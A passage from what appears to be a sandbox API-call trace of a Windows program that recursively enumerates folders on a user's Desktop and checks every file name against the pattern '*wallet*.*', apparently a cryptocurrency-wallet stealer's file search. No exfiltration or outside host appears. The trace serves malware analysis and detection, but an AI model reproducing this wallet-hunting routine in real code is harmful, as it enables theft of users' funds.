lpString1="\\avdtAoxV8CAmzwyXqi1\\0bJmFQ", lpString2="\\" | out: lpString1="\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\") returned="\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\" [0146.627] lstrcatW (in: lpString1="\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\", lpString2="JRz_Phqes8VP1D0jG57.wav" | out: lpString1="\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\JRz_Phqes8VP1D0jG57.wav") returned="\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\JRz_Phqes8VP1D0jG57.wav" [0146.627] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\JRz_Phqes8VP1D0jG57.wav", cchWideChar=82, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 82 [0146.628] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\JRz_Phqes8VP1D0jG57.wav", cchWideChar=82, lpMultiByteStr=0x23611c0, cbMultiByte=82, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\JRz_Phqes8VP1D0jG57.wav", lpUsedDefaultChar=0x0) returned 82 [0146.628] PathMatchSpecW (pszFile="JRz_Phqes8VP1D0jG57.wav", pszSpec="*wallet*.*") returned 0 [0146.628] FindNextFileW (in: hFindFile=0x882830, lpFindFileData=0x19b9cc | out: lpFindFileData=0x19b9cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa16675c0, ftCreationTime.dwHighDateTime=0x1d7aa93, ftLastAccessTime.dwLowDateTime=0xa2d48a40, ftLastAccessTime.dwHighDateTime=0x1d7ad3c, ftLastWriteTime.dwLowDateTime=0xa2d48a40, ftLastWriteTime.dwHighDateTime=0x1d7ad3c, nFileSizeHigh=0x0, nFileSizeLow=0x12a9d, dwReserved0=0x0, dwReserved1=0x0, cFileName="JRz_Phqes8VP1D0jG57.wav", cAlternateFileName="JRZ_PH~1.WAV")) returned 0 [0146.628] FindClose (in: hFindFile=0x882830 | out: hFindFile=0x882830) returned 1 [0146.628] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ", cchWideChar=58, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 58 [0146.628] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ", cchWideChar=58, lpMultiByteStr=0x32ba810, cbMultiByte=58, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ", lpUsedDefaultChar=0x0) returned 58 [0146.628] PathMatchSpecW (pszFile="0bJmFQ", pszSpec="*wallet*.*") returned 0 [0146.628] FindNextFileW (in: hFindFile=0x8825b0, lpFindFileData=0x19c34c | out: lpFindFileData=0x19c34c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9c1d42c0, ftCreationTime.dwHighDateTime=0x1d7aa83, ftLastAccessTime.dwLowDateTime=0x1a65da40, ftLastAccessTime.dwHighDateTime=0x1d7aee7, ftLastWriteTime.dwLowDateTime=0x1a65da40, ftLastWriteTime.dwHighDateTime=0x1d7aee7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="2Nmr4xl", cAlternateFileName="")) returned 1 [0146.628] lstrcpyW (in: lpString1=0x19c59c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1" [0146.628] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\" [0146.629] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\", lpString2="2Nmr4xl" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl" [0146.629] lstrcpyW (in: lpString1=0x19c7a4, lpString2="\\avdtAoxV8CAmzwyXqi1" | out: lpString1="\\avdtAoxV8CAmzwyXqi1") returned="\\avdtAoxV8CAmzwyXqi1" [0146.629] lstrcatW (in: lpString1="\\avdtAoxV8CAmzwyXqi1", lpString2="\\" | out: lpString1="\\avdtAoxV8CAmzwyXqi1\\") returned="\\avdtAoxV8CAmzwyXqi1\\" [0146.629] lstrcatW (in: lpString1="\\avdtAoxV8CAmzwyXqi1\\", lpString2="2Nmr4xl" | out: lpString1="\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl") returned="\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl" [0146.629] lstrcmpW (lpString1="2Nmr4xl", lpString2=".") returned 1 [0146.629] lstrcmpW (lpString1="2Nmr4xl", lpString2="..") returned 1 [0146.629] lstrcpyW (in: lpString1=0x19c02c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl" [0146.629] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl", lpString2="\\*.*" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl\\*.*") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl\\*.*" [0146.629] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl\\*.*", lpFindFileData=0x19b9cc | out: lpFindFileData=0x19b9cc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9c1d42c0, ftCreationTime.dwHighDateTime=0x1d7aa83, ftLastAccessTime.dwLowDateTime=0x1a65da40, ftLastAccessTime.dwHighDateTime=0x1d7aee7, ftLastWriteTime.dwLowDateTime=0x1a65da40, ftLastWriteTime.dwHighDateTime=0x1d7aee7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x882fb0 [0146.629] lstrcpyW (in: lpString1=0x19bc1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl" [0146.629] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl\\" [0146.629] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl\\", lpString2="." | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl\\.") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl\\." [0146.629] lstrcpyW (in: lpString1=0x19be24, lpString2="\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl" | out: lpString1="\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl") returned="\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl" [0146.629] lstrcatW (in: lpString1="\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl", lpString2="\\" | out: lpString1="\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl\\") returned="\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl\\" [0146.630] lstrcatW (in: lpString1="\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl\\", lpString2="." | out: lpString1="\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl\\.") returned="\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl\\." [0146.630] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0146.630] FindNextFileW (in: hFindFile=0x882fb0, lpFindFileData=0x19b9cc | out: lpFindFileData=0x19b9cc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9c1d42c0, ftCreationTime.dwHighDateTime=0x1d7aa83, ftLastAccessTime.dwLowDateTime=0x1a65da40, ftLastAccessTime.dwHighDateTime=0x1d7aee7, ftLastWriteTime.dwLowDateTime=0x1a65da40, ftLastWriteTime.dwHighDateTime=0x1d7aee7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0146.630] lstrcpyW (in: lpString1=0x19bc1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl" [0146.630] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl\\" [0146.630] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl\\", lpString2=".." | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl\\..") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl\\.." [0146.630] lstrcpyW (in: lpString1=0x19be24, lpString2="\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl" | out: lpString1="\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl") returned="\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl" [0146.630] lstrcatW (in: lpString1="\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl", lpString2="\\" | out: lpString1="\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl\\") returned="\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl\\" [0146.630] lstrcatW (in: lpString1="\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl\\", lpString2=".." | out: lpString1="\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl\\..") returned="\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl\\.." [0146.630] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0146.630] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0146.630] FindNextFileW (in: hFindFile=0x882fb0, lpFindFileData=0x19b9cc | out: lpFindFileData=0x19b9cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x94bd6e00, ftCreationTime.dwHighDateTime=0x1d7ae53, ftLastAccessTime.dwLowDateTime=0xe0aef760, ftLastAccessTime.dwHighDateTime=0x1d7af26, ftLastWriteTime.dwLowDateTime=0xe0aef760, ftLastWriteTime.dwHighDateTime=0x1d7af26, nFileSizeHigh=0x0, nFileSizeLow=0xa6db, dwReserved0=0x0, dwReserved1=0x0, cFileName="fXPI66EalGh71Cb.flv", cAlternateFileName="FXPI66~1.FLV")) returned 1 [0146.630] lstrcpyW (in: lpString1=0x19bc1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl" [0146.630] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl\\" [0146.630] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl\\", lpString2="fXPI66EalGh71Cb.flv" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl\\fXPI66EalGh71Cb.flv") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl\\fXPI66EalGh71Cb.flv" [0146.630] lstrcpyW (in: lpString1=0x19be24, lpString2="\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl" | out: lpString1="\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl") returned="\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl" [0146.630] lstrcatW (in: lpString1="\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl", lpString2="\\" | out: lpString1="\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl\\") returned="\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl\\" [0146.630] lstrcatW (in: lpString1="\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl\\", lpString2="fXPI66EalGh71Cb.flv" | out: lpString1="\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl\\fXPI66EalGh71Cb.flv") returned="\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl\\fXPI66EalGh71Cb.flv" [0146.631] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl\\fXPI66EalGh71Cb.flv", cchWideChar=79, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 79 [0146.631] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl\\fXPI66EalGh71Cb.flv", cchWideChar=79, lpMultiByteStr=0x2362888, cbMultiByte=79, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl\\fXPI66EalGh71Cb.flv", lpUsedDefaultChar=0x0) returned 79 [0146.631] PathMatchSpecW (pszFile="fXPI66EalGh71Cb.flv", pszSpec="*wallet*.*") returned 0 [0146.631] FindNextFileW (in: hFindFile=0x882fb0, lpFindFileData=0x19b9cc | out: lpFindFileData=0x19b9cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea3ad320, ftCreationTime.dwHighDateTime=0x1d7aac2, ftLastAccessTime.dwLowDateTime=0xe24a4030, ftLastAccessTime.dwHighDateTime=0x1d7aecb, ftLastWriteTime.dwLowDateTime=0xe24a4030, ftLastWriteTime.dwHighDateTime=0x1d7aecb, nFileSizeHigh=0x0, nFileSizeLow=0x6d4b, dwReserved0=0x0, dwReserved1=0x0, cFileName="nd1SYQH.wav", cAlternateFileName="")) returned 1 [0146.631] lstrcpyW (in: lpString1=0x19bc1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl" [0146.631] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl\\" [0146.633] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl\\", lpString2="nd1SYQH.wav" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl\\nd1SYQH.wav") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl\\nd1SYQH.wav" [0146.633] lstrcpyW (in: lpString1=0x19be24, lpString2="\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl" | out: lpString1="\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl") returned="\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl" [0146.633] lstrcatW (in: lpString1="\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl", lpString2="\\" | out: lpString1="\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl\\") returned="\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl\\" [0146.634] lstrcatW (in: lpString1="\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl\\", lpString2="nd1SYQH.wav" | out: lpString1="\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl\\nd1SYQH.wav") returned="\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl\\nd1SYQH.wav" [0146.634] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl\\nd1SYQH.wav", cchWideChar=71, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 71 [0146.634] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl\\nd1SYQH.wav", cchWideChar=71, lpMultiByteStr=0x32bb608, cbMultiByte=71, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl\\nd1SYQH.wav", lpUsedDefaultChar=0x0) returned 71 [0146.634] PathMatchSpecW (pszFile="nd1SYQH.wav", pszSpec="*wallet*.*") returned 0 [0146.634] FindNextFileW (in: hFindFile=0x882fb0, lpFindFileData=0x19b9cc | out: lpFindFileData=0x19b9cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96145a50, ftCreationTime.dwHighDateTime=0x1d7acc5, ftLastAccessTime.dwLowDateTime=0xcde909b0, ftLastAccessTime.dwHighDateTime=0x1d7af38, ftLastWriteTime.dwLowDateTime=0xcde909b0, ftLastWriteTime.dwHighDateTime=0x1d7af38, nFileSizeHigh=0x0, nFileSizeLow=0x81fb, dwReserved0=0x0, dwReserved1=0x0, cFileName="rseOPWBE.mp4", cAlternateFileName="")) returned 1 [0146.634] lstrcpyW (in: lpString1=0x19bc1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl" [0146.634] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl\\" [0146.634] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl\\", lpString2="rseOPWBE.mp4" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl\\rseOPWBE.mp4") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl\\rseOPWBE.mp4" [0146.634] lstrcpyW (in: lpString1=0x19be24, lpString2="\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl" | out: lpString1="\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl") returned="\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl" [0146.634] lstrcatW (in: lpString1="\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl", lpString2="\\" | out: lpString1="\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl\\") returned="\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl\\" [0146.634] lstrcatW (in: lpString1="\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl\\", lpString2="rseOPWBE.mp4" | out: lpString1="\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl\\rseOPWBE.mp4") returned="\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl\\rseOPWBE.mp4" [0146.634] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl\\rseOPWBE.mp4", cchWideChar=72, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 72 [0146.634] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl\\rseOPWBE.mp4", cchWideChar=72, lpMultiByteStr=0x32bb7e8, cbMultiByte=72, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl\\rseOPWBE.mp4", lpUsedDefaultChar=0x0) returned 72 [0146.634] PathMatchSpecW (pszFile="rseOPWBE.mp4", pszSpec="*wallet*.*") returned 0 [0146.635] FindNextFileW (in: hFindFile=0x882fb0, lpFindFileData=0x19b9cc | out: lpFindFileData=0x19b9cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96145a50, ftCreationTime.dwHighDateTime=0x1d7acc5, ftLastAccessTime.dwLowDateTime=0xcde909b0, ftLastAccessTime.dwHighDateTime=0x1d7af38, ftLastWriteTime.dwLowDateTime=0xcde909b0, ftLastWriteTime.dwHighDateTime=0x1d7af38, nFileSizeHigh=0x0, nFileSizeLow=0x81fb, dwReserved0=0x0, dwReserved1=0x0, cFileName="rseOPWBE.mp4", cAlternateFileName="")) returned 0 [0146.635] FindClose (in: hFindFile=0x882fb0 | out: hFindFile=0x882fb0) returned 1 [0146.635] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl", cchWideChar=59, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 59 [0146.635] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl", cchWideChar=59, lpMultiByteStr=0x32ba810, cbMultiByte=59, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl", lpUsedDefaultChar=0x0) returned 59 [0146.635] PathMatchSpecW (pszFile="2Nmr4xl", pszSpec="*wallet*.*") returned 0 [0146.635] FindNextFileW (in: hFindFile=0x8825b0, lpFindFileData=0x19c34c | out: lpFindFileData=0x19c34c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4b2d460, ftCreationTime.dwHighDateTime=0x1d7a77b, ftLastAccessTime.dwLowDateTime=0x6b8dc8d0, ftLastAccessTime.dwHighDateTime=0x1d7acd3, ftLastWriteTime.dwLowDateTime=0x6b8dc8d0, ftLastWriteTime.dwHighDateTime=0x1d7acd3, nFileSizeHigh=0x0, nFileSizeLow=0x12280, dwReserved0=0x0, dwReserved1=0x0, cFileName="6_Lz6Ex2GE8X0H7LSYpm.doc", cAlternateFileName="6_LZ6E~1.DOC")) returned 1 [0146.635] lstrcpyW (in: lpString1=0x19c59c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1" [0146.635] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\" [0146.635] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\", lpString2="6_Lz6Ex2GE8X0H7LSYpm.doc" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\6_Lz6Ex2GE8X0H7LSYpm.doc") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\6_Lz6Ex2GE8X0H7LSYpm.doc" [0146.635] lstrcpyW (in: lpString1=0x19c7a4, lpString2="\\avdtAoxV8CAmzwyXqi1" | out: lpString1="\\avdtAoxV8CAmzwyXqi1") returned="\\avdtAoxV8CAmzwyXqi1" [0146.635] lstrcatW (in: lpString1="\\avdtAoxV8CAmzwyXqi1", lpString2="\\" | out: lpString1="\\avdtAoxV8CAmzwyXqi1\\") returned="\\avdtAoxV8CAmzwyXqi1\\" [0146.636] lstrcatW (in: lpString1="\\avdtAoxV8CAmzwyXqi1\\", lpString2="6_Lz6Ex2GE8X0H7LSYpm.doc" | out: lpString1="\\avdtAoxV8CAmzwyXqi1\\6_Lz6Ex2GE8X0H7LSYpm.doc") returned="\\avdtAoxV8CAmzwyXqi1\\6_Lz6Ex2GE8X0H7LSYpm.doc" [0146.636] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, 